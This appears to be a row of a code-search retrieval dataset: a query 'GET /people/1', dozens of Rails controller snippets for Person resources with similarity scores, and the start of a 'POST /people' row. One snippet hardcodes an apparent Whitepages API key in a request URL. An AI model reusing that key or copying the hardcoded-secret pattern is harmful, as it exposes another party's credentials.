"def show\n @person = Person.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @person }\n format.json { render :json => @person.to_json(:include => [:fieldvalues, :address, :city, :province]) }\n end\n end",
"def show\n @person = User.friendly.find(params[:id])\n add_breadcrumb @person.nickname, cooperative.person_path(@person)\n\n respond_to do |format|\n format.html # show.html.haml\n format.json { render :json => @person }\n end\n end",
"def person_search(fname, lname, where)\n\n base_url = \"https://proapi.whitepages.com/find_person/1.0/?api_key=8249b41718b02c013694000c6900061e;outputtype=JSON\"\n url = \"#{base_url};firstname=#{fname};lastname=#{lname};where=#{where}\"\n uri = URI.parse(url)\n connection = Net::HTTP.new(uri.host, 443)\n connection.use_ssl = true\n\n resp = connection.request_get(uri.path + '?' + uri.query)\n\n### make sure to throw an error if we get a 200 returned\n if resp.code != '200'\n raise \"web service error\"\n end\n\n data = resp.body\n\n # we convert the returned JSON data to native Ruby\n # data structure - a hash\n result = JSON.parse(data)\n\n # if the hash has 'Error' as a key, we raise an error\n if result.has_key? 'Error'\n raise \"web service error\"\n end\n\n return result\nend",
"def show\n @personaje_mision = PersonajeMision.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @personaje_mision }\n end\n end",
"def show\n @missing_person = MissingPerson.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @missing_person }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.js\n format.json { render json: @person }\n end\n end"
] | [
"0.75080985",
"0.7490487",
"0.7490487",
"0.73151547",
"0.72153556",
"0.7154834",
"0.7154834",
"0.71427387",
"0.7037789",
"0.70082515",
"0.699553",
"0.6980208",
"0.6980208",
"0.6980208",
"0.6980208",
"0.6980208",
"0.6980208",
"0.6980208",
"0.6980208",
"0.6980208",
"0.69641876",
"0.69490534",
"0.69461334",
"0.69406116",
"0.6938621",
"0.6937802",
"0.6917734",
"0.6871483",
"0.68068767",
"0.6775969",
"0.67745465",
"0.6766889",
"0.672547",
"0.67123616",
"0.6692382",
"0.6644189",
"0.6631563",
"0.6629149",
"0.66256624",
"0.65888447",
"0.65675926",
"0.6565907",
"0.65656215",
"0.6547712",
"0.65423214",
"0.65148896",
"0.6494928",
"0.64870197",
"0.6485584",
"0.6451885",
"0.64392316",
"0.6416873",
"0.63995874",
"0.6376986",
"0.636471",
"0.63639534",
"0.63622177",
"0.63439906",
"0.6339633",
"0.63140225",
"0.62725",
"0.6266563",
"0.6265709",
"0.62582797",
"0.6246227",
"0.6238676",
"0.62363565",
"0.62321496",
"0.6212862",
"0.62024826",
"0.6192468",
"0.61878675",
"0.6187699",
"0.61845034",
"0.6177552",
"0.6167871",
"0.6160915",
"0.61309254",
"0.6128048",
"0.6121064",
"0.61200917",
"0.61131346",
"0.6099265",
"0.608527",
"0.608527",
"0.60802835",
"0.60800946",
"0.60616535",
"0.60499364",
"0.6049774",
"0.6039911",
"0.60394"
] | 0.6221649 | 75 |
GET /people/1 GET /people/1.json | def show
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.json { render :json => @person }\n end\n end",
"def person(id)\n get(\"/catalog/people/#{id.to_s}\")\n end",
"def show\n @person = get_person(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n @person = get_person(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def get_person(id)\n self.class.get(url(\"people/#{id}\"), headers: @token.headers).parsed_response\n end",
"def index\n\t\tall_people = Person.all.sort_by(&:id)\n\t\tif all_people\n\t\t\trender json: {people: all_people}\n\t\telse\n\t\t\trender body: 'People Not Found', status: 404\n\t\tend\n\tend",
"def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def index\n @people = Person.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @people }\n end\n end",
"def show\n @person = people_type.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n \t@person = Person.find(params[:id])\n respond_to do |format|\n format.json { render json: @person, status: :ok }\t\n end \t \t\n end",
"def show\n @person_info = PersonInfo.find(params[:id])\n\n render json: @person_info\n end",
"def show\n @user_person = UserPerson.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_person }\n end\n end",
"def index\n \t@people = Person.all\n respond_to do |format|\n format.json { render json: @people, status: :ok }\n end\n end",
"def show\n\t\t@person = Person.find_by(id: params[:id])\n\t\t# render json: @person #skips the view, and just renders out the json\n\tend",
"def fetch_people\n @people = People.find(params[:id])\n end",
"def show\n\t\tperson = Person.find_by_id(self.params[\"id\"].to_i)\n\t\tif person\n\t\t\trender json: {id: person.id, name: person.name, favoriteCity: person.favoriteCity}\n\t\telse\n\t\t\trender body: 'Person Not Found', status: 404\n\t\tend\n\tend",
"def people\n Sifter.\n get(api_people_url).\n fetch(\"people\", []).\n map { |p| Sifter::Person.new(p) }\n end",
"def people\n Sifter.\n get(api_people_url).\n fetch(\"people\", []).\n map { |p| Sifter::Person.new(p) }\n end",
"def show\n @person = Person.find_by_guid!(params[:id])\n\n respond_to do |format|\n format.json { render :json => PersonPresenter.new(@person, current_user) }\n end\n end",
"def index\n @people = User.order(:nickname).page(params[:page])\n\n respond_to do |format|\n format.html # index.html.haml\n format.json { render :json => @people }\n end\n end",
"def people\n Birdman::Requester.get(\"movies/#{id}/people\")\n end",
"def show\n @projects_person = ProjectsPerson.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @projects_person }\n end\n end",
"def show\n if @person\n render json: @person\n else\n # :not_found is the http status code 404\n render status: :not_found\n end\n end",
"def index\n\t\t@people = People.all\n\t\t#render json: \"test\"\n\t\tresponse = @people\n\t\trender json: response\n\t\treturn response\n\tend",
"def index\n # this is like a 'select * from people' in SQL, but using ORM\n @people = Person.all \n\n # render is the return of our method and at the same time help us to render the object\n render json: @people \n end",
"def show\n @persona = Persona.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @persona }\n end\n end",
"def show\n @personnage = Personnage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @personnage }\n end\n end",
"def get \n render :json => User.find(params[:id])\n end",
"def show\n @person = Person.find(params[:id])\n @hair_colours = Person.get_hair_colours\n @eye_colours = Person.get_eye_colours\n @heights_feet = Person.get_heights_feet\n @heights_inches = Person.get_heights_inches\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n @person = Person.find(params[:id])\n @registry = Registry.where('email = ?', @person.email).first\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def show\n @personaje = Personaje.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @personaje }\n end\n end",
"def get\n @person\n end",
"def index\n @person = Person.find((params[:person_id]))\n @person_identification_docs = PersonIdentificationDoc.where(\"person_id = ?\", params[:person_id])\n\n\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @person_identification_docs }\n end\n end",
"def people(query={})\n response = self.simple_client.get(\"/api/v1/people?#{query.to_query}\")\n # TODO modularize, re-use\n if response[\"page\"]\n return WillPaginate::Collection.create(response[\"page\"],response[\"per_page\"]) do |pager|\n pager.replace(response[\"people\"])\n pager.total_entries = response[\"total_entries\"]\n end\n else\n return response\n end\n end",
"def index\n respond_with(@people)\n end",
"def show\n @persona = Persona.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @persona }\n end\n end",
"def index\n @people = Person.includes(:registry).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @people }\n end\n end",
"def show\n respond_to do |format|\n people = @mob.user_idz.split(',').map{|i| User.find(i).name }.join(', ')\n format.json { render json: @mob.attributes.merge(people: people, users: @mob.users, date: Time.now.strftime('%-m/%-d/%Y')) }\n end\n end",
"def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @person }\n format.json { respond_with @person }\n end\n end",
"def index\n @people = search Person.involved_in(@conference)\n\n respond_to do |format|\n format.html { @people = @people.paginate page: page_param }\n format.json\n end\n end",
"def index\n @projects_people = ProjectsPerson.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects_people }\n end\n end",
"def show\n @persona = Persona.find(params[:id])\n @users = User.all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @persona }\n end\n end",
"def show\n @person_interest = PersonInterest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person_interest }\n end\n end",
"def index\n @type_people = TypePerson.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @type_people }\n end\n end",
"def show\n @person = Person.find(params[:id])\n respond_with(@person)\n end",
"def show\n @person_search = PersonSearch.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person_search }\n end\n end",
"def index\n @people = Person.all\n respond_with(@people)\n end",
"def show\n @type_person = TypePerson.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @type_person }\n end\n end",
"def show\n # When a http GET request to '/users/1' is received, have it show,\n # in json format, user 1's information.\n @id = params[:id]\n @user = User.find(@id)\n render json: @user\n end",
"def show\n render json: Users.find(params[\"id\"])\n end",
"def index\n if params[:single]\n\t url = \"#{API_BASE_URL}/users/#{params[:id]}.json\"\n\t response = RestClient.get(url)\n\t @user = JSON.parse(response.body)\n\telse\n\t url = \"#{API_BASE_URL}/users.json\"\t \n response = RestClient.get(url)\n @users = JSON.parse(response.body)\t\t \n\tend\n end",
"def show\n @person = Person.find(params[:id])\n end",
"def show\n @person = Person.find(params[:id])\n end",
"def show\n @person = Person.find(params[:id])\n end",
"def show\n @person = Person.find(params[:id])\n end",
"def show\n @people = People.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @people }\n end\n end",
"def show\n @bob = Bob.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bob }\n end\n end",
"def show\n render json: User.find(params[\"id\"])\n end",
"def show\n profile = Profile.find(params[:id])\n render status: 200, json: profile\n end",
"def show\n @key_person = KeyPerson.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @key_person }\n end\n end",
"def show\n # puts params[:id]\n render json: User.find(params[:id])\n end",
"def index\n @people = Person.paginate(:page => params[:offset], :per_page => 20)\n\n people_hash()\n respond_to do |format|\n format.html\n format.json { render :json => @people_hash }\n format.xml { render :xml => @people_hash }\n end\n end",
"def show\n @missing_person = MissingPerson.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @missing_person }\n end\n end",
"def show\n render json: User.find(params[:id])\n end",
"def index\n @people = People.all\n end",
"def show\n @tasks_person = TasksPerson.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tasks_person }\n end\n end",
"def show\n @person = User.friendly.find(params[:id])\n add_breadcrumb @person.nickname, cooperative.person_path(@person)\n\n respond_to do |format|\n format.html # show.html.haml\n format.json { render :json => @person }\n end\n end",
"def get_people_info(page_size=2)\n\t\toptions = {\n\t\t\theaders: headers,\n\t\t\tquery: { page_size: page_size }\n\t\t}\n\t\tresult = self.class.get(\"/people/#{display_name}/#{email_address}/#{title}\", options)\n\tend",
"def index\n\n @people = Person.filter(params.slice(:name_like))\n @people = @people.where([\"union_id = ?\", current_person.union_id]) if request.format.json? && !owner?\n @people = @people.where(\"not invited_by_id is null\").order([:last_name, :first_name, :id])\n \n respond_to do |format|\n format.html \n format.json \n end\n end",
"def index\n @people = Person.where( :user_id => current_user.id)\n if current_user.role? :admin \n @people = Person.all\n end\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @people }\n end\n end",
"def show\n respond_to do |format|\n format.html\n format.json { render :json => @person_hash }\n format.xml { render :xml => @person_hash }\n end\n end",
"def show\n render :json => User.find(params[:id])\n end",
"def showName\n render json: User.findByName(params[\"name\"])\n end",
"def show\n\t\t@household = Household.find(params[:id])\n\t\t@people = @household.people\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.json { render json: @household }\n\t\tend\n\tend",
"def show\n @personaje_mision = PersonajeMision.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @personaje_mision }\n end\n end",
"def show\n user = User.find(params[:id])\n render json: @user\nend",
"def show\n @waitlist = WaitList.find(params[:id])\n @person = Person.find(@waitlist.people_id)\n @profile = Profile.find_by_person_id(@waitlist.people_id)\n\n respond_to do |format|\n format.html # show.html.haml\n format.json { render json: @waitlist }\n end\n end",
"def index\n @people = Person.all\n end",
"def index\n @people = Person.all\n end",
"def index\n @people = Person.all\n end",
"def index\n @people = Person.all\n end",
"def index\n @people = Person.all\n end",
"def index\n @people = Person.all\n end",
"def index\n @people = Person.all\n end",
"def index\n @people = Person.all\n end",
"def index\n @people = Person.all\n end",
"def search\n render json: PersonEvent.first(10)\n end",
"def show\n render json: User.find(params[:id])\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\nend",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @personas }\n end\n end",
"def show\n @user = User.find_by_name(params[:name])\n @participants = Participant.find_all_by_user_id(@user.id).paginate(:page => params[:page], :per_page => 5)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"def search_people(query)\n get(\"/v1/search/people\", query: query)\n end",
"def show\n @profile = Profile.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @profile }\n end\n end"
] | [
"0.73653966",
"0.7294701",
"0.72789526",
"0.72789526",
"0.7234639",
"0.72182435",
"0.7160584",
"0.7160584",
"0.7160584",
"0.7160584",
"0.7160584",
"0.7160584",
"0.7160584",
"0.7160584",
"0.7160584",
"0.7136642",
"0.7079218",
"0.7075326",
"0.7064788",
"0.702281",
"0.6999083",
"0.69869256",
"0.6974477",
"0.6929185",
"0.68771994",
"0.68771994",
"0.6865536",
"0.681167",
"0.6778902",
"0.66630596",
"0.6654147",
"0.66517794",
"0.6640958",
"0.6638075",
"0.6637796",
"0.6558788",
"0.65581554",
"0.6551728",
"0.65247345",
"0.65204644",
"0.65096605",
"0.65009344",
"0.64979976",
"0.6496253",
"0.6481779",
"0.64770746",
"0.64762336",
"0.64729667",
"0.6464105",
"0.6457175",
"0.6432532",
"0.64276356",
"0.6425752",
"0.6424101",
"0.640674",
"0.64065605",
"0.64017296",
"0.6399573",
"0.63826865",
"0.6373091",
"0.6373091",
"0.6373091",
"0.6373091",
"0.63578254",
"0.6333454",
"0.63330144",
"0.6329406",
"0.6291621",
"0.6248637",
"0.62476975",
"0.6243991",
"0.6235833",
"0.6234817",
"0.6231671",
"0.6213675",
"0.6209971",
"0.62086487",
"0.62054265",
"0.61940086",
"0.6185897",
"0.6176419",
"0.61677206",
"0.61667734",
"0.61635953",
"0.61582017",
"0.6150026",
"0.6150026",
"0.6150026",
"0.6150026",
"0.6150026",
"0.6150026",
"0.6150026",
"0.6150026",
"0.6150026",
"0.6149948",
"0.61468756",
"0.6140443",
"0.6139695",
"0.6135385",
"0.61207205",
"0.61168003"
] | 0.0 | -1 |
POST /people POST /people.json | def create
@person = Person.new(person_params)
if(@person.cabin_id != nil && @person.cabin_id != 0)
cabin = Cabin.find(@person.cabin_id);
if(cabin.people_count < cabin.max)
cabin.people_count = cabin.people_count + 1;
if cabin.save
flash[:notice] = "& person saved to cabin"
else
@person.cabin_id = nil;
flash[:notice] = "but the person could not be added to this cabin. Check the cabin and try again."
end
else
@person.cabin_id = nil;
flash[:notice] = "but the cabin was full"
end
else
@person.cabin_id = nil
flash[:notice] = "& not saved to a cabin"
end
respond_to do |format|
if @person.save
format.html { redirect_to @person, notice: "Person saved successfully" + notice}
format.json { render action: 'show', status: :created, location: @person }
else
format.html { render action: 'new' }
format.json { render json: @person.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n @person = current_user.created_people.new(person_params_with_school)\n if @person.save\n render :show, status: :created, location: api_v1_person_url(@person)\n else\n render json: @person.errors, status: :unprocessable_entity\n end\n end",
"def create\n @person = Person.new(person_params)\n if @person.save\n render :show, status: :created, location: api_v2_person_url(@person)\n else\n render json: @person.errors, status: :unprocessable_entity\n end\n end",
"def create\n @person = Person.new(person_params)\n\n if @person.save\n render json: { status: 'POST Success', id: @person.id }, status: :ok\n else\n render json: { status: 'Error', message:'Error registering a new person', person: @person.errors }, status: :unprocessable_entity\n end\n end",
"def create\n @person = current_user.created_people.new(person_params_with_school)\n if @person.save\n render :show, status: :created, location: api_v2_person_url(@person)\n else\n render json: @person.errors, status: :unprocessable_entity\n end\n end",
"def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html do\n redirect_to people_url, notice: 'Person was successfully created.'\n end\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json do\n render json: @person.errors, status: :unprocessable_entity\n end\n end\n end\n end",
"def create\n \t@person = Person.new(person_params) \t\n respond_to do |format|\n if @person.save\n format.json {render json: @person, status: :ok }\n else\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to people_path, notice: 'Person was successfully created.' }\n format.json { render action: 'show', status: :created, location: @person }\n else\n format.html { render action: 'new' }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @person = @account.people.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @people = People.new(people_params)\n\n respond_to do |format|\n if @people.save\n format.html { redirect_to root_path, notice: 'Um VIP ' + @people.name.to_s + ' foi criado com sucesso!' }\n format.json { render :show, status: :created, location: @people }\n else\n format.html { render :new }\n format.json { render json: @people.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @person_info = PersonInfo.new(person_info_params(params[:person_info]))\n\n if @person_info.save\n render json: @person_info, status: :created, location: @person_info\n else\n render json: @person_info.errors, status: :unprocessable_entity\n end\n end",
"def create\n @person = Person.new\n \tpopulate_attributes(@person, params[:person])\n \n respond_to do |format|\n if @person.save\n @person = Person.find(@person.id)\n populate_attributes(@person, params[:person])\n @person.save\n\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render json: @person, status: :created, location: @person }\n else\n format.html { render action: \"new\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @person = Person.new(params[:person])\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render json: @person, status: :created, location: @person }\n else\n format.html { render action: \"new\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @person = Person.new(params[:person])\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render json: @person, status: :created, location: @person }\n else\n format.html { render action: \"new\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @person = Person.new(params[:person])\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render json: @person, status: :created, location: @person }\n else\n format.html { render action: \"new\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @person = Person.new(params[:person])\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render json: @person, status: :created, location: @person }\n else\n format.html { render action: \"new\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user_person = UserPerson.new(params[:user_person])\n\n respond_to do |format|\n if @user_person.save\n format.html { redirect_to @user_person, notice: 'User person was successfully created.' }\n format.json { render json: @user_person, status: :created, location: @user_person }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user_person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: \"#{@person.name} was successfully created.\" }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @people = People.new(params[:people])\n\n respond_to do |format|\n if @people.save\n flash[:notice] = 'People was successfully created.'\n format.html { redirect_to(@people) }\n format.xml { render :xml => @people, :status => :created, :location => @people }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @people.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create \n @person = Person.new(person_params)\n respond_to do |format|\n if @person.save!\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @person = Person.new(params[:person])\n \n #save name(s)\n #params[:name].each {|name| \n # @name = Name.new\n # @name.name = name\n # @name.person_id = @person.id\n # @name.save\n #}\n\n respond_to do |format|\n if @person.save\n flash[:notice] = 'Person was successfully created.'\n format.html { redirect_to(@person) }\n format.xml { render :xml => @person, :status => :created, :location => @person }\n else\n format.html { render :action => \"new\", :layout => \"main\" }\n format.xml { render :xml => @person.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @person.save\n respond_with(@person, :location => people_path)\n end",
"def create\n # if “Content-Type” header is set as “application/json” then ...\n if request.content_type == \"application/json\" \n # Person.new is like a \"Insert into People values ...\" in SQL\n @person = Person.new(person_params)\n # .save is the commit to database\n if @person.save\n # :created is the http status code 201\n render json: @person, status: :created\n # :bad_request is the http status code 400\n else\n render json: @person.errors, status: :bad_request #:unprocessable_entity\n end\n else\n render status: :bad_request\n end\n end",
"def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render action: 'show', status: :created, location: @person }\n else\n format.html { render action: 'new' }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @person = Person.new(params[:person])\n \n respond_to do |format|\n if @person.save\n format.html { redirect_to \"people/#{@person.id}\" }\n format.json { render :nothing }\n format.xml { render :nothing }\n else \n format.html { render :action => \"new\" }\n end\n end\n end",
"def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.js {}\n format.html { redirect_to people_url, notice: \"Person #{@person.first_name} was successfully created.\" }\n format.json { render :show, status: :created, location: @person }\n else\n format.js {}\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @people = People.new(people_params) \n @people.user_created_id = current_user.id \n respond_to do |format|\n if @people.save\n format.html { redirect_to @people, notice: 'Persona creada con éxito.' }\n format.json { render :show, status: :created, location: @people }\n else\n format.html { render :new }\n format.json { render json: @people.errors, status: :unprocessable_entity }\n end\n end \n end",
"def create\n\t\t@person = Person.new(person_params)\n\n\t\trespond_to do |format|\n\t\t\tif @person.save\n\t\t\t\tformat.html { redirect_to @person, notice: 'Person was successfully created.' }\n\t\t\t\tformat.json { render :show, status: :created, location: @person }\n\t\t\telse\n\t\t\t\tformat.html { render :new }\n\t\t\t\tformat.json { render json: @person.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to admin_person_url(@person), notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\r\n @person = Person.new(person_params)\r\n set_field\r\n\r\n respond_to do |format|\r\n if @person.save\r\n format.json { render :show, status: :created, location: @person }\r\n else\r\n format.html { render :new }\r\n format.json { render json: @person.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def create\n @persona = Persona.new(params[:persona])\n \n respond_to do |format|\n if @persona.save\n format.json { render :json => @persona,\n :status => :created, :location => @persona }\n else\n format.json { render :json => @persona.errors,\n :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @person = Person.new(person_params)\n # @person.addresses.build()\n respond_to do |format|\n if @person.save\n # @person.addresses.create\n # @person.companies.create\n\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n @addresses = @person.addresses\n @page_title = 'Add a new person'\n addresses = @person.addresses.build\n companies = @person.companies.build\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def people_params\n params.permit(people: [:first_name, :last_name, :email, :phone])\n end",
"def create\n @person = Person.new(params[:person])\n flash[:notice] = 'Person was successfully created.' if @person.save\n respond_with(@person)\n end",
"def create\n @person = Person.new(params[:person])\n current_organization.people << @person\n if @person.save\n redirect_to people_path, notice: @person.name.to_s + ' was successfully created.'\n else\n render action: \"new\"\n end\n end",
"def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: \"Person was successfully created.\" }\n flash.alert = \"Person updated\"\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n \n# next line commented out and following line added 2 aug 17 for connecting users to people (step 17)\n# Person.create(person_params)\n current_user.people.create(person_params) # check nomster/flixter code in this area\n\n redirect_to new_person_path # change to redirect to page showing person created, maybe entire tree\n end",
"def new\n @person = people_type.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person }\n end\n end",
"def create\n @person = Person.new(person_params)\n authorize! :create, @person\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: t('.create_ok') }\n format.json { render json: @person, status: :created, location: @person }\n else\n format.html { render action: \"new\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
